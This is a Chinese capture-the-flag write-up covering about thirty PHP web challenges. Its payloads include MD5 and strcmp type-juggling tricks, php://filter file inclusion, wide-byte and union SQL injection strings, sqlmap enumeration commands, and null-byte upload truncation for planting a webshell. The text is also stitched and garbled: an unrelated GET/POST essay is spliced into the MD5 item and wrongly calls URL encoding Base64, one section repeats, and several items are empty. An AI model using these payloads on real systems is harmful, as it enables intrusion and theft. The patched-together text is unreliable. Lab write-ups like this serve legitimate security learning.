1.签到题(50)
直接查看网页源码
2.md5 collision(50)
源码如下:
<?php $md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*****************}"; } else { echo "false!!!"; }} else{echo "please input a";} ?>
1.$a不等于'QNKCDZO' 但$a的MD5等于'QNKCDZO'的MD5
这想想也是不可能的事,此中必有蹊跷
2.观察发现md5('QNKCDZO')='0e830400451993494058024219903391'
3.在php中==号为弱比较'0e'开头剩下的全为数字不管数字是多少==恒成立
因为'0e***'==0
所以下一步的目的很明显制造开头为 ‘0e’ 的MD5字符串
1 浅谈HTTP中Get与Post的区别 2 Http定义了与服务器交互的不同方法,最基本的方法有4种,分别是GET,POST,PUT,DELETE。URL全称是资源描述符,我们可以这样认为:
一个URL地址,它用于描述一个网络上的资源,而HTTP中的GET,POST,PUT,DELETE就对应着对这个资源的查,改,增,删4个操作。
到这里,大家应该有个大概的了解了,GET一般用于获取/查询资源信息,而POST一般用于更新资源信息。 3 4 表面现像上面看看GET和POST的区别: 5 6 1.GET请求的数据会附在URL之后(就是把数据放置在HTTP协议头中),以?分割URL和传输数据,参数之间以&相连,
如:login.action?name=hyddd&password=idontknow&verify=%E4%BD%A0%E5%A5%BD。如果数据是英文字母/数字,原样发送,如果是空格,转换为+,
如果是中文/其他字符,则直接把字符串用BASE64加密,得出如:%E4%BD%A0%E5%A5%BD,其中%XX中的XX为该符号以16进制表示的ASCII。 7 8 POST把提交的数据则放置在是HTTP包的包体中。
0e开头MD5值小结
这里将$a=aabg7XSs
http://chinalover.sinaapp.com/web19/?a=aabg7XSs
得到flag:nctf{md5_collision_is_easy}
3.签到2(50)
网页源码如下:
<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
尚未登录或口令错误<form action="./index.php" method="post">
<p>输入框:<input type="password" value="" name="text1" maxlength="10"><br>
请输入口令:zhimakaimen
<input type="submit" value="开门">
</form>
</html>
<p>输入框:<input type="password" value="" name="text1" maxlength="10"><br> 请输入口令:zhimakaimen 输入的口令长度为11,而他html源码限制的长度为10
处理方法有两种:
1、利用FF浏览器自带插件,我这里用的是Firefox的hackbar插件,直接越过HTML代码直接进行post传递
2、利用burpsuit工具直接在http头上稍作修改,只需将text1赋值为zhimakaimen即可
2.1、在FF浏览器中安装Autoproxy,配置
配置FF浏览器代理
2.2、安装Burp suite,配置proxy提供一个直观、友好的用户界面,他的代理服务器包含非常详细的拦截规则,并能准确分析HTTP 消息的结构与内容。
现在我们可以再浏览器中输入我们要检查的网站。你会看到burp 套件工具,proxy 选项卡上会亮起红色,表示它需要你的输入。默认行为是拦截设置为ON,这意味着它捕获的所有发送请求,然后要求用户输入,以决定是否数据包将被转发或丢弃。你可以转发,并观看页面载入目标网站。如果你嫌麻烦那你可以INTECEPTOR Off,只是手动抓取的网站,将捕获的数据发送到“历史记录”选项卡,你可以手动检查审查和测试。
2.3、打开Autoproxy“全局代理”模式。
在输入框随便输入一串“qwqwqw”
将text1=qwqwqw改为text1=zhimakaimen
Burpsuite选择Foward
出来FLAG
这题不是WEB(100)
打开之后有个猫的图片
将猫图片下载至桌面
用txt打开此文档
最后为flag:nctf{photo_can_also_hid3_msg}
5.层层递进(100)
看源码,发现了个src="SO.html"
点进去看看,又是一个src="SO.html"
层层递进估计就这意思吧,继续点
在不知道点了几次之后src="404.html"
点进去
<!-- <script src="./js/jquery-n.7.2.min.js"></script> <script src="./js/jquery-c.7.2.min.js"></script> <script src="./js/jquery-t.7.2.min.js"></script> <script src="./js/jquery-f.7.2.min.js"></script> <script src="./js/jquery-{.7.2.min.js"></script> <script src="./js/jquery-t.7.2.min.js"></script> <script src="./js/jquery-h.7.2.min.js"></script> <script src="./js/jquery-i.7.2.min.js"></script> <script src="./js/jquery-s.7.2.min.js"></script> <script src="./js/jquery-_.7.2.min.js"></script> <script src="./js/jquery-i.7.2.min.js"></script> <script src="./js/jquery-s.7.2.min.js"></script> <script src="./js/jquery-_.7.2.min.js"></script> <script src="./js/jquery-a.7.2.min.js"></script> <script src="./js/jquery-_.7.2.min.js"></script> <script src="./js/jquery-f.7.2.min.js"></script> <script src="./js/jquery-l.7.2.min.js"></script> <script src="./js/jquery-4.7.2.min.js"></script> <script src="./js/jquery-g.7.2.min.js"></script> <script src="./js/jquery-}.7.2.min.js"></script> -->
竖着看-后面的字符,就是flag。flag:nctf{this_is_a_fl4g}
6.AAencode(100)
7.单身二十年(100)
看源码,有个<a href="./search_key.php">_到这里找key__</a>
点进去,flag就在里面~
8.你从哪里来(100)
9.php decode(100)
1 <?php 2 function CLsI($ZzvSWE) { 3 4 $ZzvSWE = gzinflate(base64_decode($ZzvSWE)); 5 6 for ($i = 0; $i < strlen($ZzvSWE); $i++) { 7 8 $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1); 9 10 } 11 12 return $ZzvSWE; 13 14 }eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?> 15 16 ==================== 17 改成 18 echo(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==") 19 放在php里直接运行,得出结果 20 flag:nctf{gzip_base64_hhhhhh}
搭建PHPStudy
在D:\phpStudy\WWW 目录创建620.php文件,打开下命令窗口(shift+左键),输入php 620.php,运行
10.文件包含(150)
关于文件包含。题目提示是一个LFI的漏洞。访问连接http://4.chinalover.sinaapp.com/web7/index.php?file=show.php这就是一个典型的文件包含的漏洞
遇到了这样的文件包含漏洞,就可以使用filter的方式读取php的源代码了。用法如下:
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
网页返回的就是index.php的源代码的base64编码,解码之后得到FLAG
先了解一下php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
同时我也借此机会学到了文件读取的相关知识。
- include “test.php”php文件包含,在执行流中插入写在其他文件中的有用的代码。读取的时候也是数据流形式,因此可以使用php://filter进行过滤,返回值为0,1。
- readfile(“test.php”)是将文件以数据流的形式读取过来,并不会执行,但会在前台浏览器上进行解析。返回值是字节数多少。
-
file_get_contents(“test.php”)返回值为文本内容
此题运用的就是关于数据流过滤的文件包含,我们一般在进行文件包含的时候都这么写include “test.php”获得的就是test.php直接解析出来。但如果运用readfile(“test.php”) 就不进行解析,导致无法在浏览器前台进行显示。那么问题来了看题
注解:
1.php://filter/可用于处理打开的数据流,起到过滤作用。如果源文件为.php则很有可能在前台显示不出来。
2.此时我们采用的方法是,先让文件转化为base64格式(convert.base64-encode)然后再输出,这样不论是什么格式的文件都可以在前台输出。
3.再次解码就可得到源代码。
11 .单身一百年也没用(150)
直接查看请求头
12 .Download~!(200)
查看页面源码:
“eGluZ3hpbmdkaWFuZGVuZy5tcDM=”解码就是
xingxingdiandeng.mp3
看来文件名要经过base64加密
发现?url=前有一个download.php,是否能将这个php文件下载下来。
后面的url的参数的值就是对应的文件名。这姑且可以算作是一个简单的文件包含了。url是可控的,我们将url的参数替换为download.php的base64编码即可。
http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw
就可以将download.php下载下来。
通过查看download.php的源代码,发现其中还存在一个hereiskey.php文件。使用同样的方式查看hereiskey.php的源代码就可以得到flag了。
13 .COOKIE(200)
通过题目就知道始于cookie有关的。通过Burpsuite抓包,发现在响应包中存在Set-Cookie: Login=0。根据这个暗示,只需要将cookie设置为Login=1就可以得到flag了。
14.MYSQL(200)
根据题目提示查看题目下面的robots.txt文件
http://chinalover.sinaapp.com/web11/robots.txt
别太开心,flag不在这,这个文件的用途你看完了? 在CTF比赛中,这个文件往往存放着提示信息 TIP:sql.php <?php if($_GET[id]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $id = intval($_GET[id]); $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'")); if ($_GET[id]==1024) { echo "<p>no! try again</p>"; } else{ echo($query[content]); } }
根据提示需要访问sql.php,同时需要提供参数id。既然限制了直接输入1024,说明要查的id很有可能就是1024.
这道题目的关键地方是在于intval()函数,将一个字符串转换为int类型。那么就很简单了。
http://chinalover.sinaapp.com/web11/sql.php?id=1024.3
得到FLAG
15.sql injection 3(200)
宽字节注入,http://www.2cto.com/article/201301/182881.html,可以看看,也可以自己各种百度,
不上图了,直接上代码:
爆库id = %df' union select 1,database() %23
得到库名 sae-chinalover
爆表id=%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23 爆表
得到表名 ctf,ctf2,ctf3,ctf4,news
暴字段ctf4表
id=%df' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctf4' %23
因为宽字节,报错
于是将ctf4进行十六进制编码。0x63746634
%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634 %23
// 逐个尝试表 ctf,ctf2,ctf3,ctf4,news,直到表ctf4(十六进制编码0x63746634)
得到字段名 id,flag
暴内容 id=%df' union select 1,group_concat(id,flag) from ctf4 %23
得到flag
sqlmap.py -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' -v 3 --dbms MYSQL --dbs
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" --current-db \\获取当前数据库名称
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" --tables -D "sae-chinalover" \\获取当前表名
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" --columns -T "ctf2" -D "sae-chinalover" \\获取字段
16./x00(200)
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。如果匹配成功返回true,否则,则返回false.
strpos(str1,str2):查找str2在str1的位置,如果找到返回True否则FALSE;
从代码中我们知道,这道题目要求输入getkey,但是这个值首先必须要是数字,然后这个值又必须含有givemeky这个字符串。这道题目需要用到ereg()函数的%00字符串截断漏洞。具体就是当ereg读取字符串string时,如果遇到了%00,后面的字符串就不会被解析。那么我们输入的字符串为:getkey=1%00givemekey。这样就可以绕过验证,拿到key.
ereg()有两个漏洞
- %00截断及遇到%00则默认为字符串的结束
- 当ntf为数组时它的返回值不是FALSE
所以有两个方法去攻这道题目
1.令id=1%00%23biubiubiu
2.令nctf为数组则,nctf[]=1
17.bypass again(200)
既要a!=b,又要md5(a)===md5(b)
做法和上一题一样,传数组让md5()出错,返回null,那么判断的时候就是null===null
index.php?a[]=1&b[]=2
18.变量覆盖(200)
总的来说是extract() 函数从数组中将变量导入到当前的符号表。
典型的变量覆盖
那么只要post pass和thepassword_123(值要相等)覆盖掉默认的thepassword_123的值,就可以得到flag了
if ($pass == $thepassword_123) { ?> 只需要覆盖$pass、$thepassword_123这两个变量使他们相等即可
19.PHP是世界上最好的语言(250)
打开index.txt
if(eregi("hackerDJ",$_GET[id])) //id与hackerDJ不能相同 $_GET[id] = urldecode($_GET[id]) //id又经历了一次URL解码 if($_GET[id] == "hackerDJ")//解码后的id与hackerDJ相同 这下子好办了两次URL加密即可 ,只加密前一个字符 其实url编码就是一个字符ascii码的十六进制。 h的URL编码为%68,在进行一次编码后为%2568 则令id=%2568ackerDJ
eregi — 不区分大小写的正则表达式匹配.那也就是说,不能使id=hackerDJ,但是又要经过urldecode()后== “hackerDJ”.那么我们可以把”hackerDJ”进行url编码,再把编码再次进行编码.即(%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61)
20.伪装者(250)
21.Header(250)
直接看报头
22.上传绕过(250)
上传一个1.jpg文件
必须是php文件才行啊!
然后就上传1.php文件
然后报的提示是这样的
只允许上传 jpg,GIF ,png后缀的文件
这才意识到我要上传.jpg的文件让他识别为.php的文件,怎么才能做到呢???
看她的第一个错误提示它是怎么识别文件后缀的
它是根据./uploads目录下的basename进行识别的
在我们上传的时候会出现./uploads
命名规则是./uploads1.php & 1.jpg
在/uploads/后面加上1.php+(这里可以随便加一个字符,比如“+”,“空格”)
进制,“+”改成“00”,这样可以截断.
0x00的意思为16进制00,所以讲+对应的进制改成00(至于怎么找到对应代码,看右边对应代码,找到第几行,从左到右,每个字母对应一个代码),改完直接go
上传一句话木马,命名 a.php+1.jpg
burp 抓包,send to repeater
在Repeater下改 Hex
将“+” 也就是2b改成00 (可以截断)
23.SQL注入1(300)
1 <?php 2 if($_POST[user] && $_POST[pass]) { 3 mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); 4 mysql_select_db(SAE_MYSQL_DB); 5 $user = trim($_POST[user]); 6 $pass = md5(trim($_POST[pass])); 7 $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; 8 echo '</br>'.$sql; 9 $query = mysql_fetch_array(mysql_query($sql)); 10 if($query[user]=="admin") { 11 echo "<p>Logged in! flag:******************** </p>"; 12 } 13 if($query[user] != "admin") { 14 echo("<p>You are not admin!</p>"); 15 } 16 } 17 echo $query[user]; 18 ?>
这里trim起到过滤字符串两端空格的作用
代码的意思就是post user与pass,然后提交post的user必须是admin.但是密码不知道,所以就得在$sql=这句想办法绕过and (pw='".$pass."')
这段
所以构造的语句就是这样
admin’)#.
验证一下对不对.这时$sql就是
"select user from ctf where (user='admin')#."') and (pw='".$pass."')"
即
"select user from ctf where (user='admin')
24.pass check(300)
<?php $pass=@$_POST['pass']; $pass1=***********;//被隐藏起来的密码 if(isset($pass)) { if(@!strcmp($pass,$pass1)){ echo "flag:nctf{*}"; }else{ echo "the pass is wrong!"; } }else{ echo "please input pass!"; } ?> //tip:strcmp(array,string)=null=0
strcmp()函数在PHP官方手册中的描述是int strcmp ( string str1,stringstr2 ),需要给strcmp()传递2个string类型的参数。
如果str1小于str2,返回-1,相等返回0,否则返回1。
strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。
如果传入给出strcmp()的参数是数字呢?
1 $array=[1,2,3]; 2 var_dump(strcmp($array,'123')); //null,在某种意义上null也就是相当于false。
1 <?php 2 function noother_says_correct($number) 3 { 4 $one = ord('1'); 5 $nine = ord('9'); 6 for ($i = 0; $i < strlen($number); $i++) 7 { 8 $digit = ord($number{$i}); 9 if ( ($digit >= $one) && ($digit <= $nine) ) 10 { 11 return false; 12 } 13 } 14 return $number == '54975581388'; 15 }
// 让number == ‘54975581388’,并且number每个字符与’54975581388’都不同
// ord() 函数返回字符串的首个字符的 ASCII 值。
16 $flag='*******'; 17 if(noother_says_correct($_GET['key'])) 18 echo $flag; 19 else
20 echo 'access denied'; 21 ?>
//====================
当其中的一个字符串是0x开头的时候,PHP会将此字符串解析成为十进制然后再进行比较。
54975581388==0xccccccccc
http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc
26.密码重置(300)
点重置密码
1 http://nctf.nuptzj.cn/web13/index.php?user1=%59%33%52%6D%64%58%4E%6C%63%67%3D%3D
// Load URL 3 http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg==
//Y3RmdXNlcg== base64解码就是 ctfuser
将admin 进行BASE64编码 得到 YWRtaW4=
修改地址栏:
http://nctf.nuptzj.cn/web13/index.php?user1=YWRtaW4=
1 <meta http-equiv="content-type" content="text/html;charset=utf-8">
2 <head><title>密码找回</title></head>
3 <form action="" method="post">
4 你的账号:<input type="text" value="ctfuser" name="user" readonly="readonly"></br>
5 新密码:<input type="password" name="newpass"></br>
6 验证码:1234<input type="text" name="vcode" size="4" maxlength="4"></br>
7 <input type="submit" value="重置">
8 </form>
9 </html>
也可以用Burp suite抓包,改包
27.php 反序列化(300)
无法访问
28.sql injection 4(300)
1 'SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'; 2 SELECT * FROM users WHERE name=\'$username\' AND pass=\'$password\'; 3
4 如果试图注释掉pass 5 SELECT * FROM users WHERE name=\'admin#\' AND pass=\'$password\'; 6 即 7 SELECT * FROM users WHERE name=\'admin 8 不可行(因为存在htmlentities()函数) 9
10 如果试图插入or 1=1 11 那么应使 12 name=\'$username\' AND pass=\'(php中) 13 name='$username' AND pass='(sql中) 14 而$username后有个'会使得前面的'闭合,通过添加\可使原来的\'变为\\',使得转义'失效(php中).即\'\\' AND pass=\'.即'\' AND pass='.此时name='\' AND pass='
15 那么$password就是or 1=1# 16 所以 17 post 的语句为?username=\&password=or 1=1%23
18 php中的语句为SELECT * FROM users WHERE name='\' AND pass='or 1=1#';
19 sql中的语句为SELECT * FROM users WHERE name='\' AND pass=' or 1=1
=====================
无法理解
29.综合题(300)
点进去,在实验室题目做过,是jsfuck(http://www.jsfuck.com/)
回去构造链接(http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php)
提示tip在脑袋(head)里,那看头咯,返回包里有tip,提示history of bash
不知道什么玩意,百度咯,可以看看(http://blog.csdn.net/pan_tian/article/details/7715436)
用法就是http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history
打开提示一个zip文件,下载就好了
http://teamxlc.sinaapp.com/web3/flagbak.zip
flag is:nctf{bash_history_means_what}
30.system 300
31.SQL注入2(400)
1 <?php 2 if($_POST[user] && $_POST[pass]) { 3 mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); 4 mysql_select_db(SAE_MYSQL_DB); 5 $user = $_POST[user]; 6 $pass = md5($_POST[pass]); 7 $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'")); 8 if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { 9 echo "<p>Logged in! Key: ntcf{**************} </p>"; 10 } 11 else { 12 echo("<p>Log in failure!</p>"); 13 } 14 } 15 ?>
//============================
我们从数据库取出的pw要和我们输入的pass经过md5()后相等.
由于不知道pw的值,所以就不能用where user=admin这个语句来取,所以这个where必须为假.
select pw from ctf where user=admin and 1=2 // user可以随便输入一个值
而又要取出pw,所以利用union可以这么构造
1 select pw from ctf where user=admin and 1=2 union select md5(1)
既然取出的pw是1的md5值,那么在提交pass的时候就为1
所以username=admin' and 1=2 union select md5(1)#
password=1
//========================
admin后的 ' 用来闭合where user=',
and 1=2 用来是查询为假,使 select pw from php where user='' AND 0=1 这句话无用
union select 用来联合查询,
UNION SELECT "c4ca4238a0b923820dcc509a6f75849b" // md5(1)
直接 把MD5值作为返回值retuen给$sql,这样在查询的时候$query就会有值
最后的 # 用来注释掉后面没用的东西
payload:
user=32' union select 'c4ca4238a0b923820dcc509a6f75849b' %23&pass=1
32.综合题2(400)
这是一个留言板,但不是用来xss的。更何况是综合题,所以猜测可能是拿后台然后getshell的。
既然是拿后台,根据潜规则,必然有SQL注入。图片最明显的就是那个搜索功能。
翻看源码,我们在58行看到了这样一段代码: 本CMS说明
。本地文件包含。好东西。目测可以用php流的filter读源码(事实证明其实并不需要filter,因为此处本来就是用来读源码的),然后分析注入过滤.
进入 “本CMS说明”
1 http://cms.nuptzj.cn/about.php?file=sm.txt
//此处可以知道这里有文件包含漏洞,各种更改file=xxxx收集下信息。
1 ===============================华丽的分割线=============================
2
3 本CMS由Funny公司开发的公司留言板系统,据本技术总监说,此CMS采用国际 4 顶级的技术所开发,安全性和实用性杠杠滴~</br> 5
6 以下是本CMS各文件的功能说明(由于程序猿偷懒,只列了部分文件) 7 config.php:存放数据库信息,移植此CMS时要修改 8 index.php:主页文件 9 passencode.php:Funny公司自写密码加密算法库 10 say.php:用于接收和处理用户留言请求 11 sm.txt:本CMS的说明文档 12
13
14 sae的information_schema表好像没法检索,我在这里给出admin表结构 15 create table admin ( 16 id integer,
17 username text,
18 userpass text,
19 ) 20 ========================================================================
首先进行留言搜索。抓包分析数据被POST过去,发送到so.php。
直接访问,发现对UA进行了限制。于是about.php?file=so.php包含一发,发现了不得了的东西:
1 if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ 2 echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~'; 3 exit(); 4 } 5 $id=$_POST['soid']; 6 include 'config.php'; 7 include 'antiinject.php'; 8 include 'antixss.php'; 9 $id=antiinject($id); 10 $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error()); 11 mysql_select_db($db_name,$con); 12 $id=mysql_real_escape_string($id); 13 $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); 14 $rs=mysql_fetch_array($result);
我们不妨仔细看看。首先要修改的是UA;然后,要利用的查询语句在执行时有我们POST的参数id,但是id经过
antiinject.php的过滤,因此我们可以看一看antiinject.php是如何过滤的,然后绕过过滤进行注入。因此我们在包含一发antiinject.php
1 $keyword=array('select','union','and','from',' ',''',';',''','char','or','count','master','name','pass','admin','+','-','order','='); 2 $info=strtolower($content); 3 for($i=0;$i&lt;=count($keyword);$i++){ 4 $info=str_replace($keyword[$i], '',$info); 5 } 6 return $info;
28.sql injection 4(300)
strcmp()函数在PHP官方手册中的描述是int strcmp ( string str1,stringstr2 ),需要给strcmp()传递2个string类型的参数。如果str1小于str2,返回-1,相等返回0,否则返回1。strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。
如果传入给出strcmp()的参数是数字呢?
请使用手机"扫一扫"x